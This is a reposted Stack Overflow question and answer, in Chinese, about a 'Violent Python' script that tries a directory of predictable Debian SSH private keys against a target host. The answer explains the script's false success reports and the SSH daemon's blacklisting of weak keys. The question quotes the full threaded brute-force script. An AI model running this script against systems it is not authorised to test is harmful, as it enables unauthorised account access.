gpt4 book ai didi

python - 弱 Debian SSH key Python 脚本 Cryptic auth.log

转载 作者:太空宇宙 更新时间:2023-11-04 10:46:00 25 4
gpt4 key购买 nike

所以我正在阅读这本很棒的书,“暴力 Python”。在第 2 章中有一个 Python 脚本,它使用私钥对 Debian 机器或任何运行 SSH 服务器的机器进行身份验证,该服务器上有用户但没有强私钥。下面是脚本:

#! /usr/bin/env python

import pexpect
import optparse
import os
from threading import *

maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Stop = False
Fails = 0

def connect(user, host, keyfile, release):
global Stop
global Fails
try:
perm_denied = 'Permission denied'
ssh_newkey = 'Are you sure you want to continue'
conn_closed = 'Connection closed by remote host'
opt = ' -o PasswordAuthentication=no'
connStr = 'ssh ' + user + \
'@' + host + ' -i ' + keyfile + opt
child = pexpect.spawn(connStr)
ret = child.expect([pexpect.TIMEOUT, perm_denied, \
ssh_newkey, conn_closed, '$', '#',])
if ret == 2:
print '[-] Adding Host to ~/.ssh/known_hosts'
child.sendline('yes')
connect(user, host, keyfile, False)
elif ret == 3:
print '[-] Connection Closed By Remote Host'
Fails += 1
elif ret > 3:
print '[+] Success. ' + str(keyfile)
Stop = True
finally:
if release:
connection_lock.release()

def main():
parser = optparse.OptionParser('usage%prog -H ' + \
'<target host> -u <user> -d <directory>')
parser.add_option('-H', dest='tgtHost', type='string', \
help='specify target host')
parser.add_option('-d', dest='passDir', type='string', \
help='specify directory with keys')
parser.add_option('-u', dest='user', type='string', \
help='specify the user')
(options, args) = parser.parse_args()
host = options.tgtHost
passDir = options.passDir
user = options.user
if host == None or passDir == None or user == None:
print parser.usage
exit(0)

for filename in os.listdir(passDir):
if Stop:
print '[*] Exiting: Key Found.'
exit(0)
if Fails > 5:
print '[!] Exiting: '+ \
'Too Many Connections Closed By Remote Host.'
print '[!] Adjust number of simultaneous threads.'
exit(0)

connection_lock.acquire()
fullpath = os.path.join(passDir, filename)
print '[-] Testing keyfile ' + str(fullpath)
t = Thread(target=connect, \
args=(user, host, fullpath, True))
child = t.start()

if __name__ == '__main__':
main()

奇怪的是,当我在我的内部 LAN 上针对基于 Debian 的 Kali 副本运行此程序时,Python 脚本打印出它发现了一些易受攻击的私钥。我不确定为什么它会为操作系统上的单个用户找到几个易受攻击的 key 。当我运行脚本时,我指定了 1) 一个主机,2) 一个用户名,以及 3) 一个充满由 HD Moore 生成的私钥的目录。我不得不使用 wayback 机器来获取他为 2048 强度非对称算法生成的 RSA 私钥。

示例输出:

[-] Testing keyfile rsa/2048/0002d5af29276c95a49dc2ab3b506707-23747
[-] Testing keyfile rsa/2048/00030d8fbf8ef4e6c7c878e5a3700192-29213
[+] Success. rsa/2048/.DS_Store
[+] Success. rsa/2048/0002d5af29276c95a49dc2ab3b506707-23747
[-] Testing keyfile rsa/2048/0004c120c8d0b5820c5d84d35e3c8d19-20980
[*] Exiting: Key Found.
[+] Success. rsa/2048/0004c120c8d0b5820c5d84d35e3c8d19-20980
[+] Success. rsa/2048/00030d8fbf8ef4e6c7c878e5a3700192-29213

无论如何,为什么脚本说它在我的 Debian Kali 虚拟机 (VM) 上找到了我的用户名的大量私钥?我试图通过 ssh -irsa/2048/0002d5af29276c95a49dc2ab3b506707-23747 root@192.168.1.11 -o PasswordAuthentication=no 使用明显易受攻击的私钥登录命令,但没有用。为什么它不起作用? Python 脚本实际上并没有按照它所说的那样做吗? X射线眼镜有人吗?让我继续……

然后我检查了/var/log/auth.log在我的 Debian Kali VM 上,它有一些有趣而神秘的条目。日志显示,Public key <Hexadecimal colon separated key> from <IP> blacklisted (see ssh-vulnkey(1))

我阅读了 ssh-vulnkey 的手册页在 Debian Kali 操作系统上,发现该程序可以在计算机上找到易受攻击的 key 。我尝试用 -v verbose 运行它选项并看到一些键显然是易受攻击的,虽然我不明白 f 键是怎么回事。

关于 1) 为什么脚本返回成功找到 key 的结果和 2) 列入黑名单的内容 auth.log 有没有人有一个易于理解的解释?留言是什么意思另外,3) 如果它找到了易受攻击的 key ,为什么我不能使用该 key 登录我的计算机?

此外,是否应将其移至 information-security

邪恶的 Python 脚本:

奥康纳,TJ (2012-12-28)。暴力 Python:黑客、取证分析师、渗透测试人员和安全工程师的食谱。爱思唯尔科学。 Kindle版。

最佳答案

据我所知,脚本只是遍历目录并尝试将它们用作连接到给定 SSH 服务器的 key 。这是在线程中完成的,因此输出的顺序是不确定的。由于我们在启动新线程之前检查全局 Stop 标志是否为 True,因此可能会发生并非所有文件都被检查的情况,因为一个较早的线程已经成功完成并设置了标志。这就是它报告它找到了一个 key 的原因。

您的 SSH 守护程序会将由损坏的 OpenSSL 版本生成的弱密​​钥列入黑名单。这是一件好事,您可以阅读它 here .这也是您无法登录的原因。

ssh 自动回退到在您的配置目录中寻找有效 key 。所以连接确实成功了,但是你的命令行参数被忽略了。尝试使用 -vvv 运行命令并观察输出:

$ ssh user@host -i not-a-key -o PasswordAuthentication=no -vvv
[...]
debug1: identity file /path/to/not-a-key type -1
[...]

关于python - 弱 Debian SSH key Python 脚本 Cryptic auth.log,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/33093994/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com